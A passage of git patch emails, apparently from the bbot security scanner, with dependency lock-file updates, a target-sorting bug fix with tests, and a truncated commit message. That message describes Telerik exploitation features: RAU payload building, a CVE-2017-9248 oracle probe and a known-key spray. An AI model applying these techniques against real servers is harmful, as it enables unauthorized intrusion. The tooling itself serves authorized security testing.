"https://files.pythonhosted.org/packages/08/c3/8ec0e290a9ebaebd64047bf5fda94be835c6b1551b02437e4b76778fbcd7/pydantic_core-2.46.5-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:46c25dda9d092a06c08db76ffe0a197107904d0dfac653f7d5306bbcd6d6119c", size = 2026371, upload-time = "2026-08-28T09:59:22.227Z" }, + { url = "https://files.pythonhosted.org/packages/01/72/4fd20ad520fb8da0157f95b27a7eb05a72790ef08138e7701ac972c342ea/pydantic_core-2.46.5-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:37ea7b83c935e5b0d68c9449b82651accf78a10828b2c02b2f2d9e9496446c21", size = 2202822, upload-time = "2026-08-28T09:59:24.277Z" }, + { url = "https://files.pythonhosted.org/packages/31/b0/d16e0771206b29314f0d52198b720be21e8a99ab2bf11e3bc0d7c9cebdff/pydantic_core-2.46.5-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e64e88d5585bea9ce95861079de72006c7fa6d3df4e3a3b65ba31eb979c15c9f", size = 2262756, upload-time = "2026-08-28T09:59:26.608Z" }, + { url = "https://files.pythonhosted.org/packages/2c/9b/59634b7ac631c63b2a37760eb6943af3e29573d6b59a4abc5e7f019d4cee/pydantic_core-2.46.5-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:54d510bac3ee52247af28ed4bb18a1e799f040ac60fd2bf5ccd4c92f1fbe786f", size = 2068352, upload-time = "2026-08-28T09:59:29.044Z" }, + { url = "https://files.pythonhosted.org/packages/08/7c/570abb1ad2155348dc754ea91be22e5aaa18eb6d69a6068f7c6f2679a6ed/pydantic_core-2.46.5-cp314-cp314-manylinux_2_31_riscv64.whl", hash = "sha256:a2a5e1d0ff29adddc9f6d6821a66302e4493f8ca898b715b6b1182c2c201ea0a", size = 2104777, upload-time = "2026-08-28T09:59:30.95Z" }, + { url = "https://files.pythonhosted.org/packages/8e/25/5bf74adc65a1ac5b7be3f6cb0bcb5433615c1598a801c19d830d84c98ded/pydantic_core-2.46.5-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:03b9666e41e35d8909852ba191a0607520f81b74eaf12ccf8737005dbb313821", size = 2156312, upload-time = "2026-08-28T09:59:32.604Z" }, + { url = "https://files.pythonhosted.org/packages/90/6a/2ef38830675e050121040618135564ed56b860b45433b02d9b4ebece46f3/pydantic_core-2.46.5-cp314-cp314-musllinux_1_1_aarch64.whl", hash = "sha256:a91c17edf6eea2402cb5457b4c89e99bc5ed1004aa34c4adf1d4258c1a5c22c2", size = 2150067, upload-time = "2026-08-28T09:59:34.453Z" }, + { url = "https://files.pythonhosted.org/packages/90/ef/a7dbb03a14a64c2a4621f989c615ed9a892535a6cad938fc27079f919d80/pydantic_core-2.46.5-cp314-cp314-musllinux_1_1_armv7l.whl", hash = "sha256:b49924c73a235e969511bf2aabdff3beebf9820931f646c80274d5d780010c47", size = 2304516, upload-time = "2026-08-28T09:59:36.194Z" }, + { url = "https://files.pythonhosted.org/packages/68/f8/6bb4c4b80e8a6fde1904c64a51c62a1d04fcdfa3ea521a66b2ddefa1d885/pydantic_core-2.46.5-cp314-cp314-musllinux_1_1_x86_64.whl", hash = "sha256:2cbd9a5eff05e51c447c34dfa4632145b26b09120cf04bd0c871e44c1a5e1c9a", size = 2335223, upload-time = "2026-08-28T09:59:37.931Z" }, + { url = "https://files.pythonhosted.org/packages/2a/80/f46b8c681195190b2c1f1c7c0a81abce60663e987613e09ef64d433dd96b/pydantic_core-2.46.5-cp314-cp314-win32.whl", hash = "sha256:2d5d76654becf5efd62c9e51c3756c67b49498b0c9a40884934c40807adbd074", size = 1934827, upload-time = "2026-08-28T09:59:39.836Z" }, + { url = "https://files.pythonhosted.org/packages/f7/3c/60674207246bc0a4009d2391b7c7251c7159f279c8d2ab8aae8ef46f3dee/pydantic_core-2.46.5-cp314-cp314-win_amd64.whl", hash = "sha256:fa10ef4112775900e7a0661068635eb67b2ab824fbde764de6e0e21982a93db0", size = 2042648, upload-time = "2026-08-28T09:59:41.792Z" }, + { url = "https://files.pythonhosted.org/packages/69/0c/117c562c7c1babdf44576b72a5e496906506c93690387ecfbca7c729ae2e/pydantic_core-2.46.5-cp314-cp314-win_arm64.whl", hash = "sha256:045ab3b6d308439e32b81cc173bba5b9018bc6ed896afd0c65b3b009b1699af5", size = 1989652, upload-time = "2026-08-28T09:59:43.702Z" }, + { url = "https://files.pythonhosted.org/packages/e8/66/9336ae58f9eb68c41d121894e52c4c89eccb07eb8f602a04ee9c3f37736a/pydantic_core-2.46.5-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:8816f3d218beb4b787de5c9759c259b8fa61f9dec42dc7811f320a33771778b7", size = 2065829, upload-time = "2026-08-28T09:59:45.364Z" }, + { url = "https://files.pythonhosted.org/packages/c5/02/bc19b47a96c2d3109760711acf22369e56bd7e405ca52f7ade164d2ead57/pydantic_core-2.46.5-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:bce57638e08ac148e5778cce7feb968307a727d66f8e2274a543d0cf0c9ad6a3", size = 1905716, upload-time = "2026-08-28T09:59:47.18Z" }, + { url = "https://files.pythonhosted.org/packages/52/a4/70b47c0509923dd98ccfed04fb3e32ea3849c82a0ff2205bb41009b43c00/pydantic_core-2.46.5-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:976e1128455aa595ea04c79ccfedff1aaeab96ee013fcc916bed120c4f0ad94f", size = 1934216, upload-time = "2026-08-28T09:59:49.241Z" }, + { url = "https://files.pythonhosted.org/packages/52/ab/aa03b65f7bb198585edf806b906c3223ecf1795543e39e23aec4cce27ad2/pydantic_core-2.46.5-cp314-cp314t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e7b891faeedeafba41b2983e5001a81b6a915b69544c7e7570d1989ce1c36ac7", size = 2010635, upload-time = "2026-08-28T09:59:51.692Z" }, + { url = "https://files.pythonhosted.org/packages/3c/8b/0da06343f30b84ec549aafd309c6456223d5dc8bd36af504c573faad561d/pydantic_core-2.46.5-cp314-cp314t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5f194189415698233dd1114a093a9b56e61e2c57e11b469be3b0506f46f0771c", size = 2209369, upload-time = "2026-08-28T09:59:53.582Z" }, + { url = "https://files.pythonhosted.org/packages/d6/5b/844c4defaa34a3df66eb9257087d121d70c201298b96abdf9f492fc2f1bf/pydantic_core-2.46.5-cp314-cp314t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:82a36973cf8a2ef5406f4fe2edbf8ed0c99629535d959e0b100c76a32535a111", size = 2253238, upload-time = "2026-08-28T09:59:55.484Z" }, + { url = "https://files.pythonhosted.org/packages/f4/64/a4e536cb16d7f61a7fd3120b46c577fc7fa7325992f69c4f52bc786d77d8/pydantic_core-2.46.5-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cdbb78909f52b981d3b2d56b97328d71eb0b974c36bd77c920123a7ebb192829", size = 2065740, upload-time = "2026-08-28T09:59:58.038Z" }, + { url = "https://files.pythonhosted.org/packages/5f/75/aaa38c6bc2d085f6605b34eabdc6a8a4e0b2e61fc9c8e6e52b28e97b3125/pydantic_core-2.46.5-cp314-cp314t-manylinux_2_31_riscv64.whl", hash = "sha256:52e24eacdb536cade636aa90fb851835222becff8484b7001fdc78cb0290f2aa", size = 2087425, upload-time = "2026-08-28T09:59:59.898Z" }, + { url = "https://files.pythonhosted.org/packages/55/ae/fcab4cfc39aba3689e1d20c8b5250ad280957022c09af2ed9cd585602a5e/pydantic_core-2.46.5-cp314-cp314t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:37ae34309d7bd8c0d61ab839668058f2a7962ea1fc51d105d2db228fe0618034", size = 2139306, upload-time = "2026-08-28T10:00:03.057Z" }, + { url = "https://files.pythonhosted.org/packages/2d/f4/f1d03a4bc9d9acbc62f4d742b8a319af52f71885079868b2ff8e48a651ee/pydantic_core-2.46.5-cp314-cp314t-musllinux_1_1_aarch64.whl", hash = "sha256:0cdbada856a1c69a7624a64d3d9aefe79300bd6ef827b43a4f265010b9b55184", size = 2144589, upload-time = "2026-08-28T10:00:05.645Z" }, + { url = "https://files.pythonhosted.org/packages/83/f3/7a53bb1356de514a4cd295f25b6ac39237895620c0462d2592b76c16e114/pydantic_core-2.46.5-cp314-cp314t-musllinux_1_1_armv7l.whl", hash = "sha256:545f26c504b27c3758439a5e6d9349931f0a04f855668d5fe323c89e82300a38", size = 2288882, upload-time = "2026-08-28T10:00:07.931Z" }, + { url = "https://files.pythonhosted.org/packages/cd/94/5a81583660c175c59d49ffb09f4b3a44debeaf86a19fca664ae1cdd9ee32/pydantic_core-2.46.5-cp314-cp314t-musllinux_1_1_x86_64.whl", hash = "sha256:ff218293c9c806138dca139765e3b067621be52bcd93cdc14c7711be7ddc90a9", size = 2335210, upload-time = "2026-08-28T10:00:10.177Z" }, + { url = "https://files.pythonhosted.org/packages/5a/9f/5d685c2693b972d1a59c998586e8823712b66603aeff47ee60a4bdaafd37/pydantic_core-2.46.5-cp314-cp314t-win32.whl", hash = "sha256:97cf3eb53a8cccacf9d46686a0926186c9bfb5574f2ed66d3639d5fe117cd3a9", size = 1921180, upload-time = "2026-08-28T10:00:12.35Z" }, + { url = "https://files.pythonhosted.org/packages/70/12/5c94ee16d65a37a15f9e869f5e6256df111154491173801a4c5e800ab548/pydantic_core-2.46.5-cp314-cp314t-win_amd64.whl", hash = "sha256:d2f9fc07a8042a8f95925b35c4f04f469707c981fc33245b6ca187cf5d2dd290", size = 2020515, upload-time = "2026-08-28T10:00:14.774Z" }, + { url = "https://files.pythonhosted.org/packages/63/19/67830dda664e6bdf9285ee2e40f355d0d7d6b92aa0c42e8d217bb8d33d36/pydantic_core-2.46.5-cp314-cp314t-win_arm64.whl", hash = "sha256:acf8a67ba51f4ca9ddbd0e6b3000a65ac51ab734661778b3e7ba64d99a710f2f", size = 1989276, upload-time = "2026-08-28T10:00:16.984Z" }, + { url = "https://files.pythonhosted.org/packages/af/1e/ecca01fce348f7e8afa9572441ff6f7d1cc70d21e4859f33944d10877e1e/pydantic_core-2.46.5-graalpy311-graalpy242_311_native-macosx_10_12_x86_64.whl", hash = "sha256:c14ad3bdc85ee7f318742c457ca3968a92126d144b15721c759033bfb06296c2", size = 2075342, upload-time = "2026-08-28T10:00:51.353Z" }, + { url = "https://files.pythonhosted.org/packages/1f/4c/af80c7a8032dfc897040ad5cb772bebde529a381186499e6e29987f23f8c/pydantic_core-2.46.5-graalpy311-graalpy242_311_native-macosx_11_0_arm64.whl", hash = "sha256:0bddb4020d8f04175865ccd17eff3040874fc11fb593f424edb452653b4b947c", size = 1907219, upload-time = "2026-08-28T10:00:53.438Z" }, + { url = "https://files.pythonhosted.org/packages/be/3e/54d89e2b092e778716bf6153634ef479e955f48c261090be23aa1e0fb0b5/pydantic_core-2.46.5-graalpy311-graalpy242_311_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2471fd51c61c610e1dcf7de44d7299283661654d11264ab4802b303368d69c47", size = 1953393, upload-time = "2026-08-28T10:00:55.58Z" }, + { url = "https://files.pythonhosted.org/packages/ea/89/828ee90cda28ce17bdefaa3a6eaf74fe430e113295a10e6126beca559d6c/pydantic_core-2.46.5-graalpy311-graalpy242_311_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b10ec717381bdbfafef34607824db4c91de69ff085e4fca3b2af91b4fa17e68a", size = 2099024, upload-time = "2026-08-28T10:00:57.794Z" }, + { url = "https://files.pythonhosted.org/packages/df/dd/053c2e4303f791f3b8f8a14ab0b22008e8eb21d868c0c90b4f9be705b76a/pydantic_core-2.46.5-graalpy312-graalpy250_312_native-macosx_10_12_x86_64.whl", hash = "sha256:013d6f3483d81e02e7c328831808f336c8596ee33b4bd4026b9ffb1e960b8942", size = 2062540, upload-time = "2026-08-28T10:01:00.318Z" }, + { url = "https://files.pythonhosted.org/packages/d7/dd/a18df751a5e37dd51bfad7f68e766999125bebe68c9e1d10a493ad01bd63/pydantic_core-2.46.5-graalpy312-graalpy250_312_native-macosx_11_0_arm64.whl", hash = "sha256:e9c134bb666dd54b778b9fc0d2b50cbb7f979b9e3716f26a88c9ab3b6fc1dd0f", size = 1902040, upload-time = "2026-08-28T10:01:02.529Z" }, + { url = "https://files.pythonhosted.org/packages/b7/13/01d40f9d07ce8a779fd6e0bd8ad4fba91309500dd67b869e2e219d261a6d/pydantic_core-2.46.5-graalpy312-graalpy250_312_native-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:347ec774390c87326a2e4929d58d3f7e8763a104d5d35f4cd595a4c952366433", size = 1967479, upload-time = "2026-08-28T10:01:05.004Z" }, + { url = "https://files.pythonhosted.org/packages/fa/04/c81d4841331c2178b6fb09ae225425e110ed72d990c9fe556c4ec03d1013/pydantic_core-2.46.5-graalpy312-graalpy250_312_native-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8e24d8f05fa2d28513d94e877e9c75ad66175376209b3977f916e240e623193c", size = 2111034, upload-time = "2026-08-28T10:01:07.345Z" }, + { url = "https://files.pythonhosted.org/packages/20/21/22102e9950b3049526d20e811b95396508377d87651edd2b80d2b3d28659/pydantic_core-2.46.5-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:ab4b66edffb32d9e951efb3814bd104b8367a7501b81b955cacb5726d897389f", size = 2071333, upload-time = "2026-08-28T10:01:09.636Z" }, + { url = "https://files.pythonhosted.org/packages/d8/18/87aefa427d191e6d3ab1447f1efc1cdcac86af1069239b133e8a0fd7f7c9/pydantic_core-2.46.5-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:337639ba62a11acde6ef3aeb08c8ea755f8ef1fe5e513356c0f36a2b0d7568b0", size = 1912713, upload-time = "2026-08-28T10:01:12.285Z" }, + { url = "https://files.pythonhosted.org/packages/1f/93/fd89e9ad49b1805ca94d24ce1088b7d305f05c35ffafcedb9819d03588a0/pydantic_core-2.46.5-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:413a717a410d0c817ef5b786a059415550b3794e1d0c2abffd9efb93a3d9f7b4", size = 2090926, upload-time = "2026-08-28T10:01:15.19Z" }, + { url = "https://files.pythonhosted.org/packages/6f/45/8e59dab6acf8d35f02f0a958980074f31038968bdb2c983fcae9d1efee03/pydantic_core-2.46.5-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:1e449def1945a462c464331254e5a44fca7c3b4f9aedf59ec2f50f8066dd8e25", size = 2131303, upload-time = "2026-08-28T10:01:17.937Z" }, + { url = "https://files.pythonhosted.org/packages/d5/a5/e1d4dc5180dd887a9522efc1f8716b8692b7606b1d3273d7862eaf66be44/pydantic_core-2.46.5-pp311-pypy311_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:a445486499897b88a7d6c310c88ed64dd37b1b59bfd7ae9107490bbb362f47d6", size = 2145128, upload-time = "2026-08-28T10:01:20.694Z" }, + { url = "https://files.pythonhosted.org/packages/c2/d7/ad493864a7fb21c0c4df98f965e2db430cb25a9d7369b5778d5016c09fd9/pydantic_core-2.46.5-pp311-pypy311_pp73-musllinux_1_1_armv7l.whl", hash = "sha256:2d330aaba8621b1edcec8ae2c4050f63b84ccf6d98723a8f212e9684713abf0e", size = 2294560, upload-time = "2026-08-28T10:01:23.495Z" }, + { url = "https://files.pythonhosted.org/packages/02/8e/b41c84c913f29973a268e6c2b5bbf13c95adb9956c126d10da11ba3b2bef/pydantic_core-2.46.5-pp311-pypy311_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:b6acfb46a814762367fb7ba0828b0a17d441b92ce249a0e007474c9072662dda", size = 2317531, upload-time = "2026-08-28T10:01:26.334Z" }, + { url = "https://files.pythonhosted.org/packages/db/1d/068464f23075f66a8f1b806935e9cd9363ee446636ea70d2c22ee8659dbf/pydantic_core-2.46.5-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:d0a24b40877af2de4950252be9d21eaf7fb07660f3c2cae1f56c6b599ada5266", size = 2140686, upload-time = "2026-08-28T10:01:28.947Z" }, ] [[package]] From 6a0b11a1e85ee20a1700b8de5ed97a8f5e90171d Mon Sep 17 00:00:00 2001 From: Paul Mueller Date: Mon, 21 Sep 2026 14:31:43 -0400 Subject: [PATCH 087/256] fix hostless sort sentinel type mismatch in Target.add() (#3391) --- bbot/scanner/target.py | 2 +- bbot/test/test_step_1/test_target.py | 26 ++++++++++++++++++++++++++ 2 files changed, 27 insertions(+), 1 deletion(-) diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index 78fcb144f4..b9f6748620 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -114,7 +114,7 @@ def add(self, targets, data=None): event_seeds.add(event_seed) # sort by host size to ensure consistency - event_seeds = sorted(event_seeds, key=lambda e: (0, 0) if not e.host else host_size_key(str(e.host))) + event_seeds = sorted(event_seeds, key=lambda e: (0, "") if not e.host else host_size_key(str(e.host))) for event_seed in event_seeds: self.event_seeds.add(event_seed) # Some event seeds (e.g. ORG_STUB, USERNAME, BLACKLIST_REGEX) are not host-based and have diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index 4a09a24372..a405a02341 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -725,6 +725,32 @@ def test_blacklist_get_invalid_host(): assert result is not None +def test_target_add_hostless_with_single_address(): + """Hostless entries (e.g. BLACKLIST_REGEX) must sort against any host form without a type error. + + host_size_key() returns a (size, str) tuple, so the hostless sentinel must also carry a str + in its second position. Explicitly-masked single addresses (/32, /128) share size 0 with the + sentinel, which forces the second elements to be compared. + """ + from bbot.scanner.target import ScanBlacklist + + # a hostless entry batched with an explicitly-masked single address + for single_address in ["1.2.3.4/32", "dead::beef/128"]: + blacklist = ScanBlacklist("RE:test", single_address) + assert "REGEX:test" in blacklist.inputs + assert blacklist.get(single_address.split("/")[0]) is not None + + # a mixed batch of every host form alongside multiple hostless entries + blacklist = ScanBlacklist( + "RE:evil", "RE:test", "1.2.3.4/32", "1.2.3.0/24", "dead::beef/128", "5.6.7.8", "evilcorp.com" + ) + assert {r.pattern for r in blacklist.blacklist_regexes} == {"evil", "test"} + for host in ["1.2.3.4", "1.2.3.5", "dead::beef", "5.6.7.8", "www.evilcorp.com"]: + assert blacklist.get(host) is not None + assert "test.com" in blacklist + assert "9.9.9.9" not in blacklist + + def test_no_double_parsing(): """Regression test: when seeds are auto-populated from target, EventSeed parsing should happen only once (via ScanTarget), not twice. BBOTTarget should pass From 76a0977853157487ceafb324aa77c862e4ea61be Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 21 Sep 2026 14:34:51 -0400 Subject: [PATCH 088/256] Bump urllib3 from 2.7.0 to 2.8.0 (#3449) Bumps [urllib3](https://github.com/urllib3/urllib3) from 2.7.0 to 2.8.0. - [Release notes](https://github.com/urllib3/urllib3/releases) - [Changelog](https://github.com/urllib3/urllib3/blob/main/CHANGES.rst) - [Commits](https://github.com/urllib3/urllib3/compare/2.7.0...2.8.0) --- updated-dependencies: - dependency-name: urllib3 dependency-version: 2.8.0 dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/uv.lock b/uv.lock index 725fd8c143..006568033b 100644 --- a/uv.lock +++ b/uv.lock @@ -3202,11 +3202,11 @@ wheels = [ [[package]] name = "urllib3" -version = "2.7.0" +version = "2.8.0" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/53/0c/06f8b233b8fd13b9e5ee11424ef85419ba0d8ba0b3138bf360be2ff56953/urllib3-2.7.0.tar.gz", hash = "sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c", size = 433602, upload-time = "2026-05-07T16:13:18.596Z" } +sdist = { url = "https://files.pythonhosted.org/packages/e3/05/b17359e1cefb4f909b5e40b1b90a496d987258916dbbf88e842c729f510e/urllib3-2.8.0.tar.gz", hash = "sha256:63bf2ead4c879426ebf22ef2a781eeb4aa3b4ae798a0435506f8687fd5bb9b63", size = 458972, upload-time = "2026-09-15T19:29:36.253Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", hash = "sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", size = 131087, upload-time = "2026-05-07T16:13:17.151Z" }, + { url = "https://files.pythonhosted.org/packages/92/9d/c4e665119135114480843e7ab388fa94d8480650450e6f8e26b70d323a4c/urllib3-2.8.0-py3-none-any.whl", hash = "sha256:0cf3cae568d36aa9576b28dfb35f11328f1cb974ca7647d9475ebb86c75ac6e3", size = 135717, upload-time = "2026-09-15T19:29:34.577Z" }, ] [[package]] From 678766188bbff721c09a3270b2f16230b9c7261b Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 21 Sep 2026 14:44:27 -0400 Subject: [PATCH 089/256] Bump pyjwt from 2.13.0 to 2.14.0 (#3451) Bumps [pyjwt](https://github.com/jpadilla/pyjwt) from 2.13.0 to 2.14.0. - [Release notes](https://github.com/jpadilla/pyjwt/releases) - [Changelog](https://github.com/jpadilla/pyjwt/blob/master/CHANGELOG.rst) - [Commits](https://github.com/jpadilla/pyjwt/compare/2.13.0...2.14.0) --- updated-dependencies: - dependency-name: pyjwt dependency-version: 2.14.0 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- uv.lock | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/uv.lock b/uv.lock index 006568033b..cf8c8a2f02 100644 --- a/uv.lock +++ b/uv.lock @@ -2276,14 +2276,14 @@ wheels = [ [[package]] name = "pyjwt" -version = "2.13.0" +version = "2.14.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "typing-extensions", marker = "python_full_version < '3.11'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/3b/81/58d0ac84e1ef3a3843791d6954d94c0b33d526c75eeb1efbce9d0a4c4077/pyjwt-2.13.0.tar.gz", hash = "sha256:41571c89ca91598c79e8ef18a2d07367d4810fbbd6f637794879baf1b7703423", size = 107515, upload-time = "2026-05-21T19:54:36.618Z" } +sdist = { url = "https://files.pythonhosted.org/packages/af/c3/8a3b59c25070cc61dc517fbdfa5dc0904670c96f605cc69759dc09166b99/pyjwt-2.14.0.tar.gz", hash = "sha256:77283c83fb56ecf566a886c757a714bc83668e38156de2cce8263302f42e0b86", size = 113177, upload-time = "2026-09-11T13:11:54.638Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/a3/5e/ecf12fdb62546d64385c158514e9b2b671f7832108ef2ecd2020ce0af2d1/pyjwt-2.13.0-py3-none-any.whl", hash = "sha256:66adcc2aff09b3f1bbd95fc1e1577df8ac8723c978552fd43304c8a290ac5728", size = 31274, upload-time = "2026-05-21T19:54:35.362Z" }, + { url = "https://files.pythonhosted.org/packages/9c/97/672cb32ce0dfea44b740cb7b4f97038463b9cf7c0ead1aacf595572851d6/pyjwt-2.14.0-py3-none-any.whl", hash = "sha256:ad0cef71c756a56e74863c2919cf0985f72decbcfcb550ee2f422e7c62b5eedc", size = 32896, upload-time = "2026-09-11T13:11:53.409Z" }, ] [[package]] From 76d63cb8b966b2051952f75cba25464f4083e2ee Mon Sep 17 00:00:00 2001 From: BLS <114500254+blsaccess@users.noreply.github.com> Date: Mon, 21 Sep 2026 14:44:56 -0400 Subject: [PATCH 090/256] [create-pull-request] automated change (#3439) --- docs/scanning/configuration.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index b392fbdb7f..6fddc9dfdc 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -679,7 +679,7 @@ In addition to the stated options for each module, the following universal optio | modules.trufflehog.config | str | File path or URL to YAML trufflehog config | | | modules.trufflehog.deleted_forks | bool | Scan for deleted github forks. WARNING: This is SLOW. For a smaller repository, this process can take 20 minutes. For a larger repository, it could take hours. | False | | modules.trufflehog.only_verified | bool | Only report credentials that have been verified | True | -| modules.trufflehog.version | str | trufflehog version | 3.96.0 | +| modules.trufflehog.version | str | trufflehog version | 3.97.4 | | modules.urlscan.urls | bool | Emit URLs in addition to DNS_NAMEs | False | | modules.virustotal.api_key | str | list[str] | VirusTotal API Key | | | modules.wayback.archive | bool | fetch archived versions of dead URLs from the Wayback Machine and emit HTTP_RESPONSE events (requires urls=true) | False | From 8e79a53e620c9b04837a3b6be620c59a5441f9fc Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 21 Sep 2026 15:01:48 -0400 Subject: [PATCH 091/256] Bump uvicorn from 0.52.4 to 0.53.0 (#3452) Bumps [uvicorn](https://github.com/Kludex/uvicorn) from 0.52.4 to 0.53.0. - [Release notes](https://github.com/Kludex/uvicorn/releases) - [Changelog](https://github.com/Kludex/uvicorn/blob/main/docs/release-notes.md) - [Commits](https://github.com/Kludex/uvicorn/compare/0.52.4...0.53.0) --- updated-dependencies: - dependency-name: uvicorn dependency-version: 0.53.0 dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- pyproject.toml | 2 +- uv.lock | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 8de00711b6..edfa4dbba6 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -76,7 +76,7 @@ dev = [ "pytest-httpserver>=1.0.11,<2", "pytest>=8.3.1,<10", "pytest-asyncio==1.4.0", - "uvicorn>=0.32,<0.53", + "uvicorn>=0.32,<0.54", "fastapi>=0.115.5,<0.142.0", "pytest-httpx>=0.35", "pytest-benchmark>=4,<6", diff --git a/uv.lock b/uv.lock index cf8c8a2f02..9e9e75a371 100644 --- a/uv.lock +++ b/uv.lock @@ -317,7 +317,7 @@ dev = [ { name = "pytest-xdist", specifier = ">=3.6,<4" }, { name = "ruff", specifier = "==0.16.6" }, { name = "urllib3", specifier = ">=2.0.2,<3" }, - { name = "uvicorn", specifier = ">=0.32,<0.53" }, + { name = "uvicorn", specifier = ">=0.32,<0.54" }, { name = "werkzeug", specifier = ">=2.3.4,<4.0.0" }, ] docs = [ @@ -3211,16 +3211,16 @@ wheels = [ [[package]] name = "uvicorn" -version = "0.52.4" +version = "0.53.0" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "click" }, { name = "h11" }, { name = "typing-extensions", marker = "python_full_version < '3.11'" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/f2/0f/3f86e61397dd33bf2ccf28188c40db6a740658aeebbbf6e7dbc101a1f487/uvicorn-0.52.4.tar.gz", hash = "sha256:73acfee47a0b133c5de13d219492d62d8a31e935f4fe6e41a232451a15379f86", size = 100627, upload-time = "2026-08-19T06:27:41.821Z" } +sdist = { url = "https://files.pythonhosted.org/packages/5d/ad/04bbb797c84fc1f26cb171f7394716f4865ffb8d8c5e1eef42565c2dfa6b/uvicorn-0.53.0.tar.gz", hash = "sha256:a9356f0cb89b3b8621529c5d5eebd69bfe154f4c3f68b4cf2de47e45fa855c2e", size = 110881, upload-time = "2026-09-14T07:44:23.815Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/f1/79/4a20b54ab0491485ccd8c077db2d39187c7f12b3e15485d38a7be37c81b4/uvicorn-0.52.4-py3-none-any.whl", hash = "sha256:f86e41a149d7d05a9969337e3946a9c171c06a5d42680896daaba624aeac8da1", size = 79871, upload-time = "2026-08-19T06:27:40.36Z" }, + { url = "https://files.pythonhosted.org/packages/76/18/0eea75741ee812e9f598b687619ce2454f6c3a1c5cd21ea990ec6bd26f45/uvicorn-0.53.0-py3-none-any.whl", hash = "sha256:e8dca71ec86dce5f04e333f0d56cdedf942446e6643b9cea1af0d6d3a02cb03e", size = 87081, upload-time = "2026-09-14T07:44:22.179Z" }, ] [[package]] From 07e6eba4f4c64b71ff09dea8272a98459dc9315f Mon Sep 17 00:00:00 2001 From: Paul Mueller Date: Mon, 21 Sep 2026 15:21:41 -0400 Subject: [PATCH 092/256] telerik: overhaul, native RAU + DialogHandler crypto (#3333) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * telerik: overhaul, drop rau_crypto shellout Refactor into per-technique async methods, replace RAU_crypto.py subprocess loop with native badsecrets-primitive payload builder. Add CVE-2017-9248 oracle probe (dp_cryptomg quick_check port) and DialogHandler known-key spray (PBKDF1_MS + PBKDF2 via badsecrets keylists). Standardize FINDING name values on CVE + handler. Config: exploit_rau (renamed from exploit_RAU_crypto), try_known_keys, probe_dialoghandler_oracle, include_machinekeys. Deps: drop deps_ansible + pycryptodome, add badsecrets. * telerik: real dp_cryptomg find_baseline, default path first Replace KDF-fingerprint shortcut for the DialogHandler oracle probe with the actual 